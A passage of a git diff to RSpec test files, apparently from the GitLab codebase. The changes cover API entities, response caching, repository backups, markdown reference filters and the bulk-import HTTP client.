+ expect(output.keys).not_to include(:default_branch)
+ end
+ end
+ end
+end
diff --git a/spec/lib/api/entities/bulk_import_spec.rb b/spec/lib/api/entities/bulk_import_spec.rb
new file mode 100644
index 00000000000..2db6862b079
--- /dev/null
+++ b/spec/lib/api/entities/bulk_import_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::BulkImport do
+ let_it_be(:import) { create(:bulk_import) }
+
+ subject { described_class.new(import).as_json }
+
+ it 'has the correct attributes' do
+ expect(subject).to include(
+ :id,
+ :status,
+ :source_type,
+ :created_at,
+ :updated_at
+ )
+ end
+end
diff --git a/spec/lib/api/entities/bulk_imports/entity_failure_spec.rb b/spec/lib/api/entities/bulk_imports/entity_failure_spec.rb
new file mode 100644
index 00000000000..adc8fdcdd9c
--- /dev/null
+++ b/spec/lib/api/entities/bulk_imports/entity_failure_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::BulkImports::EntityFailure do
+ let_it_be(:failure) { create(:bulk_import_failure) }
+
+ subject { described_class.new(failure).as_json }
+
+ it 'has the correct attributes' do
+ expect(subject).to include(
+ :pipeline_class,
+ :pipeline_step,
+ :exception_class,
+ :correlation_id_value,
+ :created_at
+ )
+ end
+end
diff --git a/spec/lib/api/entities/bulk_imports/entity_spec.rb b/spec/lib/api/entities/bulk_imports/entity_spec.rb
new file mode 100644
index 00000000000..f91ae1fc5a1
--- /dev/null
+++ b/spec/lib/api/entities/bulk_imports/entity_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::BulkImports::Entity do
+ let_it_be(:entity) { create(:bulk_import_entity) }
+
+ subject { described_class.new(entity).as_json }
+
+ it 'has the correct attributes' do
+ expect(subject).to include(
+ :id,
+ :bulk_import_id,
+ :status,
+ :source_full_path,
+ :destination_name,
+ :destination_namespace,
+ :parent_id,
+ :namespace_id,
+ :project_id,
+ :created_at,
+ :updated_at,
+ :failures
+ )
+ end
+end
diff --git a/spec/lib/api/entities/ci/job_request/image_spec.rb b/spec/lib/api/entities/ci/job_request/image_spec.rb
new file mode 100644
index 00000000000..55aade03129
--- /dev/null
+++ b/spec/lib/api/entities/ci/job_request/image_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::Ci::JobRequest::Image do
+ let(:ports) { [{ number: 80, protocol: 'http', name: 'name' }]}
+ let(:image) { double(name: 'image_name', entrypoint: ['foo'], ports: ports)}
+ let(:entity) { described_class.new(image) }
+
+ subject { entity.as_json }
+
+ it 'returns the image name' do
+ expect(subject[:name]).to eq 'image_name'
+ end
+
+ it 'returns the entrypoint' do
+ expect(subject[:entrypoint]).to eq ['foo']
+ end
+
+ it 'returns the ports' do
+ expect(subject[:ports]).to eq ports
+ end
+
+ context 'when the ports param is nil' do
+ let(:ports) { nil }
+
+ it 'does not return the ports' do
+ expect(subject[:ports]).to be_nil
+ end
+ end
+end
diff --git a/spec/lib/api/entities/ci/job_request/port_spec.rb b/spec/lib/api/entities/ci/job_request/port_spec.rb
new file mode 100644
index 00000000000..8e0d2cabcfc
--- /dev/null
+++ b/spec/lib/api/entities/ci/job_request/port_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::API::Entities::Ci::JobRequest::Port do
+ let(:port) { double(number: 80, protocol: 'http', name: 'name')}
+ let(:entity) { described_class.new(port) }
+
+ subject { entity.as_json }
+
+ it 'returns the port number' do
+ expect(subject[:number]).to eq 80
+ end
+
+ it 'returns if the port protocol' do
+ expect(subject[:protocol]).to eq 'http'
+ end
+
+ it 'returns the port name' do
+ expect(subject[:name]).to eq 'name'
+ end
+end
diff --git a/spec/lib/api/entities/group_detail_spec.rb b/spec/lib/api/entities/group_detail_spec.rb
new file mode 100644
index 00000000000..8fcb120c809
--- /dev/null
+++ b/spec/lib/api/entities/group_detail_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::GroupDetail do
+ describe '#as_json' do
+ it 'includes prevent_sharing_groups_outside_hierarchy for a root group' do
+ group = create(:group)
+
+ expect(described_class.new(group).as_json).to include(prevent_sharing_groups_outside_hierarchy: false)
+ end
+
+ it 'excludes prevent_sharing_groups_outside_hierarchy for a subgroup' do
+ subgroup = build(:group, :nested)
+
+ expect(described_class.new(subgroup).as_json.keys).not_to include(:prevent_sharing_groups_outside_hierarchy)
+ end
+ end
+end
diff --git a/spec/lib/api/entities/job_request/image_spec.rb b/spec/lib/api/entities/job_request/image_spec.rb
deleted file mode 100644
index f13eab6a752..00000000000
--- a/spec/lib/api/entities/job_request/image_spec.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe API::Entities::JobRequest::Image do
- let(:ports) { [{ number: 80, protocol: 'http', name: 'name' }]}
- let(:image) { double(name: 'image_name', entrypoint: ['foo'], ports: ports)}
- let(:entity) { described_class.new(image) }
-
- subject { entity.as_json }
-
- it 'returns the image name' do
- expect(subject[:name]).to eq 'image_name'
- end
-
- it 'returns the entrypoint' do
- expect(subject[:entrypoint]).to eq ['foo']
- end
-
- it 'returns the ports' do
- expect(subject[:ports]).to eq ports
- end
-
- context 'when the ports param is nil' do
- let(:ports) { nil }
-
- it 'does not return the ports' do
- expect(subject[:ports]).to be_nil
- end
- end
-end
diff --git a/spec/lib/api/entities/job_request/port_spec.rb b/spec/lib/api/entities/job_request/port_spec.rb
deleted file mode 100644
index 4820c4a691b..00000000000
--- a/spec/lib/api/entities/job_request/port_spec.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ::API::Entities::JobRequest::Port do
- let(:port) { double(number: 80, protocol: 'http', name: 'name')}
- let(:entity) { described_class.new(port) }
-
- subject { entity.as_json }
-
- it 'returns the port number' do
- expect(subject[:number]).to eq 80
- end
-
- it 'returns if the port protocol' do
- expect(subject[:protocol]).to eq 'http'
- end
-
- it 'returns the port name' do
- expect(subject[:name]).to eq 'name'
- end
-end
diff --git a/spec/lib/api/entities/plan_limit_spec.rb b/spec/lib/api/entities/plan_limit_spec.rb
index ee42c67f9b6..75e39e4f074 100644
--- a/spec/lib/api/entities/plan_limit_spec.rb
+++ b/spec/lib/api/entities/plan_limit_spec.rb
@@ -14,7 +14,8 @@ RSpec.describe API::Entities::PlanLimit do
:maven_max_file_size,
:npm_max_file_size,
:nuget_max_file_size,
- :pypi_max_file_size
+ :pypi_max_file_size,
+ :terraform_module_max_file_size
)
end
diff --git a/spec/lib/api/entities/user_spec.rb b/spec/lib/api/entities/user_spec.rb
index e35deeb6263..860f007f284 100644
--- a/spec/lib/api/entities/user_spec.rb
+++ b/spec/lib/api/entities/user_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe API::Entities::User do
subject { described_class.new(user, current_user: current_user).as_json }
it 'exposes correct attributes' do
- expect(subject).to include(:bio, :location, :public_email, :skype, :linkedin, :twitter, :website_url, :organization, :job_title, :work_information)
+ expect(subject).to include(:bio, :location, :public_email, :skype, :linkedin, :twitter, :website_url, :organization, :job_title, :work_information, :pronouns)
end
it 'exposes created_at if the current user can read the user profile' do
diff --git a/spec/lib/api/helpers/caching_spec.rb b/spec/lib/api/helpers/caching_spec.rb
index f94c44c7382..38b7b386d5c 100644
--- a/spec/lib/api/helpers/caching_spec.rb
+++ b/spec/lib/api/helpers/caching_spec.rb
@@ -3,7 +3,7 @@
require "spec_helper"
RSpec.describe API::Helpers::Caching, :use_clean_rails_redis_caching do
- subject(:instance) { Class.new.include(described_class).new }
+ subject(:instance) { Class.new.include(described_class, Grape::DSL::Headers).new }
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
@@ -44,108 +44,16 @@ RSpec.describe API::Helpers::Caching, :use_clean_rails_redis_caching do
}
end
- context "single object" do
+ context 'single object' do
let_it_be(:presentable) { create(:todo, project: project) }
- it { is_expected.to be_a(Gitlab::Json::PrecompiledJson) }
-
- it "uses the presenter" do
- expect(presenter).to receive(:represent).with(presentable, project: project)
-
- subject
- end
-
- it "is valid JSON" do
- parsed = Gitlab::Json.parse(subject.to_s)
-
- expect(parsed).to be_a(Hash)
- expect(parsed["id"]).to eq(presentable.id)
- end
-
- it "fetches from the cache" do
- expect(instance.cache).to receive(:fetch).with("#{presentable.cache_key}:#{user.cache_key}", expires_in: described_class::DEFAULT_EXPIRY).once
-
- subject
- end
-
- context "when a cache context is supplied" do
- before do
- kwargs[:cache_context] = -> (todo) { todo.project.cache_key }
- end
-
- it "uses the context to augment the cache key" do
- expect(instance.cache).to receive(:fetch).with("#{presentable.cache_key}:#{project.cache_key}", expires_in: described_class::DEFAULT_EXPIRY).once
-
- subject
- end
- end
-
- context "when expires_in is supplied" do
- it "sets the expiry when accessing the cache" do
- kwargs[:expires_in] = 7.days
-
- expect(instance.cache).to receive(:fetch).with("#{presentable.cache_key}:#{user.cache_key}", expires_in: 7.days).once
-
- subject
- end
- end
+ it_behaves_like 'object cache helper'
end
- context "for a collection of objects" do
+ context 'collection of objects' do
let_it_be(:presentable) { Array.new(5).map { create(:todo, project: project) } }
- it { is_expected.to be_an(Gitlab::Json::PrecompiledJson) }
-
- it "uses the presenter" do
- presentable.each do |todo|
- expect(presenter).to receive(:represent).with(todo, project: project)
- end
-
- subject
- end
-
- it "is valid JSON" do
- parsed = Gitlab::Json.parse(subject.to_s)
-
- expect(parsed).to be_an(Array)
-
- presentable.each_with_index do |todo, i|
- expect(parsed[i]["id"]).to eq(todo.id)
- end
- end
-
- it "fetches from the cache" do
- keys = presentable.map { |todo| "#{todo.cache_key}:#{user.cache_key}" }
-
- expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: described_class::DEFAULT_EXPIRY).once.and_call_original
-
- subject
- end
-
- context "when a cache context is supplied" do
- before do
- kwargs[:cache_context] = -> (todo) { todo.project.cache_key }
- end
-
- it "uses the context to augment the cache key" do
- keys = presentable.map { |todo| "#{todo.cache_key}:#{project.cache_key}" }
-
- expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: described_class::DEFAULT_EXPIRY).once.and_call_original
-
- subject
- end
- end
-
- context "expires_in is supplied" do
- it "sets the expiry when accessing the cache" do
- keys = presentable.map { |todo| "#{todo.cache_key}:#{user.cache_key}" }
- kwargs[:expires_in] = 7.days
-
- expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: 7.days).once.and_call_original
-
- subject
- end
- end
+ it_behaves_like 'collection cache helper'
end
end
@@ -187,6 +95,42 @@ RSpec.describe API::Helpers::Caching, :use_clean_rails_redis_caching do
expect(nested_call.to_s).to eq(subject.to_s)
end
+
+ context 'Cache versioning' do
+ it 'returns cache based on version parameter' do
+ result_1 = instance.cache_action(cache_key, **kwargs.merge(version: 1)) { 'Cache 1' }
+ result_2 = instance.cache_action(cache_key, **kwargs.merge(version: 2)) { 'Cache 2' }
+
+ expect(result_1.to_s).to eq('Cache 1'.to_json)
+ expect(result_2.to_s).to eq('Cache 2'.to_json)
+ end
+ end
+
+ context 'Cache for pagination headers' do
+ described_class::PAGINATION_HEADERS.each do |pagination_header|
+ context pagination_header do
+ before do
+ instance.header(pagination_header, 100)
+ end
+
+ it 'stores and recovers pagination headers from cache' do
+ expect { perform }.not_to change { instance.header[pagination_header] }
+
+ instance.header.delete(pagination_header)
+
+ expect { perform }.to change { instance.header[pagination_header] }.from(nil).to(100)
+ end
+
+ it 'prefers headers from request than from cache' do
+ expect { perform }.not_to change { instance.header[pagination_header] }
+
+ instance.header(pagination_header, 50)
+
+ expect { perform }.not_to change { instance.header[pagination_header] }.from(50)
+ end
+ end
+ end
+ end
end
describe "#cache_action_if" do
diff --git a/spec/lib/backup/database_spec.rb b/spec/lib/backup/database_spec.rb
index 2bce4cab679..f57037d5652 100644
--- a/spec/lib/backup/database_spec.rb
+++ b/spec/lib/backup/database_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe Backup::Database do
context 'when the restore command prints errors' do
let(:visible_error) { "This is a test error\n" }
- let(:noise) { "Table projects does not exist\nmust be owner of extension pg_trgm\n" }
+ let(:noise) { "Table projects does not exist\nmust be owner of extension pg_trgm\nWARNING: no privileges could be revoked for public\n" }
let(:cmd) { %W[#{Gem.ruby} -e $stderr.write("#{noise}#{visible_error}")] }
it 'filters out noise from errors' do
diff --git a/spec/lib/backup/gitaly_backup_spec.rb b/spec/lib/backup/gitaly_backup_spec.rb
index 13567ead842..cdb35c0ce01 100644
--- a/spec/lib/backup/gitaly_backup_spec.rb
+++ b/spec/lib/backup/gitaly_backup_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Backup::GitalyBackup do
+ let(:parallel) { nil }
+ let(:parallel_storage) { nil }
let(:progress) do
Tempfile.new('progress').tap do |progress|
progress.unlink
@@ -13,7 +15,7 @@ RSpec.describe Backup::GitalyBackup do
progress.close
end
- subject { described_class.new(progress) }
+ subject { described_class.new(progress, parallel: parallel, parallel_storage: parallel_storage) }
context 'unknown' do
it 'fails to start unknown' do
@@ -30,6 +32,8 @@ RSpec.describe Backup::GitalyBackup do
project_snippet = create(:project_snippet, :repository, project: project)
personal_snippet = create(:personal_snippet, :repository, author: project.owner)
+ expect(Process).to receive(:spawn).with(anything, 'create', '-path', anything, { in: anything, out: progress }).and_call_original
+
subject.start(:create)
subject.enqueue(project, Gitlab::GlRepository::PROJECT)
subject.enqueue(project, Gitlab::GlRepository::WIKI)
@@ -45,6 +49,28 @@ RSpec.describe Backup::GitalyBackup do
expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project_snippet.disk_path + '.bundle'))
end
+ context 'parallel option set' do
+ let(:parallel) { 3 }
+
+ it 'passes parallel option through' do
+ expect(Process).to receive(:spawn).with(anything, 'create', '-path', anything, '-parallel', '3', { in: anything, out: progress }).and_call_original
+
+ subject.start(:create)
+ subject.wait
+ end
+ end
+
+ context 'parallel_storage option set' do
+ let(:parallel_storage) { 3 }
+
+ it 'passes parallel option through' do
+ expect(Process).to receive(:spawn).with(anything, 'create', '-path', anything, '-parallel-storage', '3', { in: anything, out: progress }).and_call_original
+
+ subject.start(:create)
+ subject.wait
+ end
+ end
+
it 'raises when the exit code not zero' do
expect(subject).to receive(:bin_path).and_return(Gitlab::Utils.which('false'))
@@ -83,6 +109,8 @@ RSpec.describe Backup::GitalyBackup do
copy_bundle_to_backup_path('personal_snippet_repo.bundle', personal_snippet.disk_path + '.bundle')
copy_bundle_to_backup_path('project_snippet_repo.bundle', project_snippet.disk_path + '.bundle')
+ expect(Process).to receive(:spawn).with(anything, 'restore', '-path', anything, { in: anything, out: progress }).and_call_original
+
subject.start(:restore)
subject.enqueue(project, Gitlab::GlRepository::PROJECT)
subject.enqueue(project, Gitlab::GlRepository::WIKI)
@@ -100,6 +128,17 @@ RSpec.describe Backup::GitalyBackup do
expect(collect_commit_shas.call(project_snippet.repository)).to eq(['6e44ba56a4748be361a841e759c20e421a1651a1'])
end
+ context 'parallel option set' do
+ let(:parallel) { 3 }
+
+ it 'does not pass parallel option through' do
+ expect(Process).to receive(:spawn).with(anything, 'restore', '-path', anything, { in: anything, out: progress }).and_call_original
+
+ subject.start(:restore)
+ subject.wait
+ end
+ end
+
it 'raises when the exit code not zero' do
expect(subject).to receive(:bin_path).and_return(Gitlab::Utils.which('false'))
diff --git a/spec/lib/backup/repositories_spec.rb b/spec/lib/backup/repositories_spec.rb
index d77b1e0f276..85818038c9d 100644
--- a/spec/lib/backup/repositories_spec.rb
+++ b/spec/lib/backup/repositories_spec.rb
@@ -4,7 +4,8 @@ require 'spec_helper'
RSpec.describe Backup::Repositories do
let(:progress) { spy(:stdout) }
- let(:strategy) { spy(:strategy) }
+ let(:parallel_enqueue) { true }
+ let(:strategy) { spy(:strategy, parallel_enqueue?: parallel_enqueue) }
subject { described_class.new(progress, strategy: strategy) }
@@ -80,6 +81,22 @@ RSpec.describe Backup::Repositories do
end
end
+ context 'concurrency with a strategy without parallel enqueueing support' do
+ let(:parallel_enqueue) { false }
+
+ it 'enqueues all projects sequentially' do
+ expect(Thread).not_to receive(:new)
+
+ expect(strategy).to receive(:start).with(:create)
+ projects.each do |project|
+ expect(strategy).to receive(:enqueue).with(project, Gitlab::GlRepository::PROJECT)
+ end
+ expect(strategy).to receive(:wait)
+
+ subject.dump(max_concurrency: 2, max_storage_concurrency: 2)
+ end
+ end
+
[4, 10].each do |max_storage_concurrency|
context "max_storage_concurrency #{max_storage_concurrency}", quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/241701' do
let(:storage_keys) { %w[default test_second_storage] }
diff --git a/spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb b/spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb
index 7557b9a118d..d7bcebbbe34 100644
--- a/spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb
@@ -118,7 +118,7 @@ RSpec.describe Banzai::Filter::References::ExternalIssueReferenceFilter do
end
context "redmine project" do
- let_it_be(:service) { create(:redmine_service, project: project) }
+ let_it_be(:integration) { create(:redmine_integration, project: project) }
before do
project.update!(issues_enabled: false)
@@ -140,7 +140,9 @@ RSpec.describe Banzai::Filter::References::ExternalIssueReferenceFilter do
end
context "youtrack project" do
- let_it_be(:service) { create(:youtrack_service, project: project) }
+ before_all do
+ create(:youtrack_integration, project: project)
+ end
before do
project.update!(issues_enabled: false)
@@ -183,7 +185,7 @@ RSpec.describe Banzai::Filter::References::ExternalIssueReferenceFilter do
end
context "jira project" do
- let_it_be(:service) { create(:jira_service, project: project) }
+ let_it_be(:service) { create(:jira_integration, project: project) }
let(:reference) { issue.to_reference }
@@ -215,8 +217,6 @@ RSpec.describe Banzai::Filter::References::ExternalIssueReferenceFilter do
context "ewm project" do
let_it_be(:integration) { create(:ewm_integration, project: project) }
- let(:service) { integration } # TODO: remove when https://gitlab.com/gitlab-org/gitlab/-/issues/330300 is complete
-
before do
project.update!(issues_enabled: false)
end
diff --git a/spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb b/spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb
index dafdc71ce64..f8a00716680 100644
--- a/spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb
@@ -327,6 +327,7 @@ RSpec.describe Banzai::Filter::References::MilestoneReferenceFilter do
it_behaves_like 'String-based single-word references'
it_behaves_like 'String-based multi-word references in quotes'
it_behaves_like 'referencing a milestone in a link href'
+ it_behaves_like 'linking to a milestone as the entire link'
it_behaves_like 'cross-project / cross-namespace complete reference'
it_behaves_like 'cross-project / same-namespace complete reference'
it_behaves_like 'cross project shorthand reference'
@@ -460,4 +461,76 @@ RSpec.describe Banzai::Filter::References::MilestoneReferenceFilter do
include_context 'group milestones'
end
end
+
+ context 'checking N+1' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:group2) { create(:group) }
+ let_it_be(:project) { create(:project, :public, namespace: group) }
+ let_it_be(:project2) { create(:project, :public, namespace: group2) }
+ let_it_be(:project3) { create(:project, :public) }
+ let_it_be(:project_milestone) { create(:milestone, project: project) }
+ let_it_be(:project_milestone2) { create(:milestone, project: project) }
+ let_it_be(:project2_milestone) { create(:milestone, project: project2) }
+ let_it_be(:group2_milestone) { create(:milestone, group: group2) }
+ let_it_be(:project_reference) { "#{project_milestone.to_reference}" }
+ let_it_be(:project_reference2) { "#{project_milestone2.to_reference}" }
+ let_it_be(:project2_reference) { "#{project2_milestone.to_reference(full: true)}" }
+ let_it_be(:group2_reference) { "#{project2.full_path}%\"#{group2_milestone.name}\"" }
+
+ it 'does not have N+1 per multiple references per project', :use_sql_query_cache do
+ markdown = "#{project_reference}"
+ control_count = 4
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(control_count)
+
+ markdown = "#{project_reference} %qwert %werty %ertyu %rtyui #{project_reference2}"
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(control_count)
+ end
+
+ it 'has N+1 for multiple unique project/group references', :use_sql_query_cache do
+ markdown = "#{project_reference}"
+ control_count = 4
+
+ expect do
+ reference_filter(markdown, project: project)
+ end.not_to exceed_all_query_limit(control_count)
+
+ # Since we're not batching milestone queries across projects/groups,
+ # queries increase when a new project/group is added.
+ # TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/330359
+ markdown = "#{project_reference} #{group2_reference}"
+ control_count += 5
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(control_count)
+
+ # third reference to already queried project/namespace, nothing extra (no N+1 here)
+ markdown = "#{project_reference} #{group2_reference} #{project_reference2}"
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(control_count)
+
+ # last reference needs additional queries
+ markdown = "#{project_reference} #{group2_reference} #{project2_reference} #{project3.full_path}%test_milestone"
+ control_count += 6
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(control_count)
+
+ # Use an iid instead of title reference
+ markdown = "#{project_reference} #{group2_reference} #{project2.full_path}%#{project2_milestone.iid} #{project3.full_path}%test_milestone"
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(control_count)
+ end
+ end
end
diff --git a/spec/lib/banzai/filter/upload_link_filter_spec.rb b/spec/lib/banzai/filter/upload_link_filter_spec.rb
index 9ca499be665..eb45a8149c3 100644
--- a/spec/lib/banzai/filter/upload_link_filter_spec.rb
+++ b/spec/lib/banzai/filter/upload_link_filter_spec.rb
@@ -42,6 +42,12 @@ RSpec.describe Banzai::Filter::UploadLinkFilter do
let(:upload_path) { '/uploads/e90decf88d8f96fe9e1389afc2e4a91f/test.jpg' }
let(:relative_path) { "/#{project.full_path}#{upload_path}" }
+ it 'preserves original url in data-canonical-src attribute' do
+ doc = filter(link(upload_path))
+
+ expect(doc.at_css('a')['data-canonical-src']).to eq(upload_path)
+ end
+
context 'to a project upload' do
context 'with an absolute URL' do
let(:absolute_path) { Gitlab.config.gitlab.url + relative_path }
diff --git a/spec/lib/banzai/filter/wiki_link_filter_spec.rb b/spec/lib/banzai/filter/wiki_link_filter_spec.rb
index b5b5349946b..70c7c3c74fb 100644
--- a/spec/lib/banzai/filter/wiki_link_filter_spec.rb
+++ b/spec/lib/banzai/filter/wiki_link_filter_spec.rb
@@ -22,6 +22,24 @@ RSpec.describe Banzai::Filter::WikiLinkFilter do
expect(filtered_link.attribute('href').value).to eq('/uploads/a.test')
end
+ describe 'when links are rewritable' do
+ it "stores original url in the data-canonical-src attribute" do
+ original_path = "#{repository_upload_folder}/a.jpg"
+ filtered_elements = filter("<a href='#{original_path}'><img src='#{original_path}'>example</img></a>", wiki: wiki)
+
+ expect(filtered_elements.search('img').first.attribute('data-canonical-src').value).to eq(original_path)
+ expect(filtered_elements.search('a').first.attribute('data-canonical-src').value).to eq(original_path)
+ end
+ end
+
+ describe 'when links are not rewritable' do
+ it "does not store original url in the data-canonical-src attribute" do
+ filtered_link = filter("<a href='/uploads/a.test'>Link</a>", wiki: wiki).children[0]
+
+ expect(filtered_link.value?('data-canonical-src')).to eq(false)
+ end
+ end
+
describe 'when links point to the relative wiki path' do
it 'does not rewrite links' do
path = "#{wiki.wiki_base_path}/#{repository_upload_folder}/a.jpg"
diff --git a/spec/lib/banzai/reference_parser/base_parser_spec.rb b/spec/lib/banzai/reference_parser/base_parser_spec.rb
index 18d8418ca23..095500cdc53 100644
--- a/spec/lib/banzai/reference_parser/base_parser_spec.rb
+++ b/spec/lib/banzai/reference_parser/base_parser_spec.rb
@@ -78,12 +78,31 @@ RSpec.describe Banzai::ReferenceParser::BaseParser do
describe '#referenced_by' do
context 'when references_relation is implemented' do
- it 'returns a collection of objects' do
- links = Nokogiri::HTML.fragment("<a data-foo='#{user.id}'></a>")
- .children
+ context 'and ids_only is set to false' do
+ it 'returns a collection of objects' do
+ links = Nokogiri::HTML.fragment("<a data-foo='#{user.id}'></a>")
+ .children
- expect(subject).to receive(:references_relation).and_return(User)
- expect(subject.referenced_by(links)).to eq([user])
+ expect(subject).to receive(:references_relation).and_return(User)
+ expect(subject.referenced_by(links)).to eq([user])
+ end
+ end
+
+ context 'and ids_only is set to true' do
+ it 'returns a collection of id values without performing a db query' do
+ links = Nokogiri::HTML.fragment("<a data-foo='1'></a><a data-foo='2'></a>").children
+
+ expect(subject).not_to receive(:references_relation)
+ expect(subject.referenced_by(links, ids_only: true)).to eq(%w(1 2))
+ end
+
+ context 'and the html fragment does not contain any attributes' do
+ it 'returns an empty array' do
+ links = Nokogiri::HTML.fragment("no links").children
+
+ expect(subject.referenced_by(links, ids_only: true)).to eq([])
+ end
+ end
end
end
@@ -188,7 +207,7 @@ RSpec.describe Banzai::ReferenceParser::BaseParser do
dummy = Class.new(described_class) do
self.reference_type = :test
- def gather_references(nodes)
+ def gather_references(nodes, ids_only: false)
nodes
end
end
@@ -222,7 +241,7 @@ RSpec.describe Banzai::ReferenceParser::BaseParser do
nodes.select { |n| n.id > 5 }
end
- def referenced_by(nodes)
+ def referenced_by(nodes, ids_only: false)
nodes.map(&:id)
end
end
diff --git a/spec/lib/bulk_imports/clients/graphql_spec.rb b/spec/lib/bulk_imports/clients/graphql_spec.rb
new file mode 100644
index 00000000000..2f212458c4a
--- /dev/null
+++ b/spec/lib/bulk_imports/clients/graphql_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Clients::Graphql do
+ let_it_be(:config) { create(:bulk_import_configuration) }
+
+ subject { described_class.new(url: config.url, token: config.access_token) }
+
+ describe '#execute' do
+ let(:query) { '{ metadata { version } }' }
+ let(:graphql_client_double) { double }
+ let(:response_double) { double }
+
+ before do
+ stub_const('BulkImports::MINIMUM_COMPATIBLE_MAJOR_VERSION', version)
+ allow(graphql_client_double).to receive(:execute)
+ allow(subject).to receive(:client).and_return(graphql_client_double)
+ allow(graphql_client_double).to receive(:execute).with(query).and_return(response_double)
+ allow(response_double).to receive_message_chain(:data, :metadata, :version).and_return(version)
+ end
+
+ context 'when source instance is compatible' do
+ let(:version) { '14.0.0' }
+
+ it 'marks source instance as compatible' do
+ subject.execute('test')
+
+ expect(subject.instance_variable_get(:@compatible_instance_version)).to eq(true)
+ end
+ end
+
+ context 'when source instance is incompatible' do
+ let(:version) { '13.0.0' }
+
+ it 'raises an error' do
+ expect { subject.execute('test') }.to raise_error(::BulkImports::Error, "Unsupported GitLab Version. Minimum Supported Gitlab Version #{BulkImport::MINIMUM_GITLAB_MAJOR_VERSION}.")
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/clients/http_spec.rb b/spec/lib/bulk_imports/clients/http_spec.rb
index ac42f12a3d4..c36cb80851a 100644
--- a/spec/lib/bulk_imports/clients/http_spec.rb
+++ b/spec/lib/bulk_imports/clients/http_spec.rb
@@ -5,12 +5,20 @@ require 'spec_helper'
RSpec.describe BulkImports::Clients::HTTP do
include ImportSpecHelper
- let(:uri) { 'http://gitlab.example' }
+ let(:url) { 'http://gitlab.example' }
let(:token) { 'token' }
let(:resource) { 'resource' }
+ let(:version) { "#{BulkImport::MINIMUM_GITLAB_MAJOR_VERSION}.0.0" }
let(:response_double) { double(code: 200, success?: true, parsed_response: {}) }
+ let(:version_response) { double(code: 200, success?: true, parsed_response: { 'version' => version }) }
- subject { described_class.new(uri: uri, token: token) }
+ before do
+ allow(Gitlab::HTTP).to receive(:get)
+ .with('http://gitlab.example/api/v4/version', anything)
+ .and_return(version_response)
+ end
+
+ subject { described_class.new(url: url, token: token) }
shared_examples 'performs network request' do
it 'performs network request' do
@@ -21,20 +29,20 @@ RSpec.describe BulkImports::Clients::HTTP do
context 'error handling' do
context 'when error occurred' do
- it 'raises ConnectionError' do
+ it 'raises BulkImports::Error' do
allow(Gitlab::HTTP).to receive(method).and_raise(Errno::ECONNREFUSED)
- expect { subject.public_send(method, resource) }.to raise_exception(described_class::ConnectionError)
+ expect { subject.public_send(method, resource) }.to raise_exception(BulkImports::Error)
end
end
context 'when response is not success' do
- it 'raises ConnectionError' do
+ it 'raises BulkImports::Error' do
response_double = double(code: 503, success?: false)
allow(Gitlab::HTTP).to receive(method).and_return(response_double)
- expect { subject.public_send(method, resource) }.to raise_exception(described_class::ConnectionError)
+ expect { subject.public_send(method, resource) }.to raise_exception(BulkImports::Error)
end
end
end
@@ -46,7 +54,7 @@ RSpec.describe BulkImports::Clients::HTTP do
include_examples 'performs network request' do
let(:expected_args) do
[
- 'http://gitlab.example:80/api/v4/resource',
+ 'http://gitlab.example/api/v4/resource',
hash_including(
follow_redirects: false,
query: {
@@ -96,7 +104,7 @@ RSpec.describe BulkImports::Clients::HTTP do
private
def stub_http_get(path, query, response)
- uri = "http://gitlab.example:80/api/v4/#{path}"
+ uri = "http://gitlab.example/api/v4/#{path}"
params = {
follow_redirects: false,
headers: {
@@ -116,7 +124,7 @@ RSpec.describe BulkImports::Clients::HTTP do
include_examples 'performs network request' do
let(:expected_args) do
[
- 'http://gitlab.example:80/api/v4/resource',
+ 'http://gitlab.example/api/v4/resource',
hash_including(
body: {},
follow_redirects: false,
@@ -136,7 +144,7 @@ RSpec.describe BulkImports::Clients::HTTP do
include_examples 'performs network request' do
let(:expected_args) do
[
- 'http://gitlab.example:80/api/v4/resource',
+ 'http://gitlab.example/api/v4/resource',
hash_including(
follow_redirects: false,
headers: {
